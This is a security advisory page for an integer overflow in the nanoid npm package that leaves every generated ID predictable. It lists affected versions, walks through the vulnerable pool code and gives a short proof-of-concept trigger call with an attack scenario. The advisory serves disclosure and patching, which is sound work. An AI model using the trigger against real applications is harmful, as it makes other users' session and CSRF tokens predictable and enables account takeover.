nanoid: Integer Overflow or Wraparound
Published 1 Sept 2026 · Updated 1 Sept 2026
Affected packages
- Affected
- <3.3.12
- Fixed in
- 3.3.12
npm install nanoid@3.3.12- Affected
- >=4.0.0 <5.1.11
- Fixed in
- 5.1.11
npm install nanoid@5.1.11Details
Summary
An integer overflow in nanoid(size) permanently corrupts the process-wide CSPRNG pool, causing all subsequent ID generation to return the deterministic string "uuuuuuuuuuuuuuuuuuuuu". Any application that passes user-influenced values to the size parameter loses all randomness guarantees for session tokens, CSRF tokens, and unique identifiers until process restart.
Details
nanoid() at `index.js:101` coerces the size parameter with size |= 0, which converts it to a signed 32-bit integer. When size >= 2^31 (e.g., 2147483648), this wraps to -2147483648.
The negative value is passed to fillPool() (`index.js:15`):
function fillPool(bytes) {
if (!pool || pool.length < bytes) { // false: pool exists, -2B < pool.length
pool = Buffer.allocUnsafe(bytes * POOL_SIZE_MULTIPLIER)
crypto.getRandomValues(pool)
poolOffset = 0
} else if (poolOffset + bytes > pool.length) { // false: poolOffset + (-2B) < pool.length
crypto.getRandomValues(pool)
poolOffset = 0
}
poolOffset += bytes // poolOffset += -2147483648 → deeply negative
}Neither branch triggers, so the pool is never refreshed. poolOffset becomes ~-2.1 billion.
Subsequent nanoid() calls execute:
for (let i = poolOffset - size; i < poolOffset; i++) {
id += scopedUrlAlphabet[pool[i] & 63]
}pool[negative_index] returns undefined. undefined & 63 evaluates to 0. urlAlphabet[0] is 'u'. Every ID becomes "uuuuuuuuuuuuuuuuuuuuu".
The corruption is persistent — it affects all subsequent calls in the process until ~100 million calls eventually wrap poolOffset back to positive, or the process restarts.
PoC
import { nanoid } from 'nanoid'
// Step 1: Normal operation
console.log(nanoid()) // e.g., "V1StGXR8_Z5jdHi6B-myT"
// Step 2: Trigger overflow (e.g., from an API parameter)
try { nanoid(2147483648) } catch(e) {}
// Step 3: All subsequent IDs are deterministic
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
console.log(nanoid()) // "uuuuuuuuuuuuuuuuuuuuu"
// ... forever, process-wideRun with: node --experimental-vm-modules poc.mjs
Attack scenario: Any API endpoint that accepts a user-controlled length/size parameter (URL shortener slug length, configurable token size, etc.) and passes it to nanoid(userInput).
Impact
Complete loss of ID unpredictability and uniqueness, process-wide, from a single request.
- All session IDs, CSRF tokens, API keys, and database identifiers generated after the attack are identical and predictable
- An attacker can predict all tokens issued to other users, enabling session hijacking and authentication bypass
- The corruption is persistent (survives across requests) and affects all consumers of
nanoidin the same process - No special privileges or preconditions required — a single unauthenticated request is sufficient
- Affects any application that passes external input to the
sizeparameter without validation
Is GHSA-xwg4-73v4-xw9w in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected nanoid, and gives you the command that fixes it.
References
- Linkgithub.com/ai/nanoid/security/advisories/GHSA-xwg4-73v4-xw9w
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-73086
- Linkgithub.com/ai/nanoid/commit/7087969281cab8ba8ae3babf1894e819068b3bb4
- Linkgithub.com/ai/nanoid/commit/821dfed7b5db7f88e92f56c60eef32c8135077c3
- Linkgithub.com/ai/nanoid/commit/b0036ed60dc9facd7f1191a50dfb3076500202ac
- Packagegithub.com/ai/nanoid
- Linkgithub.com/ai/nanoid/releases/tag/3.3.12
- Linkgithub.com/ai/nanoid/releases/tag/5.1.11
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.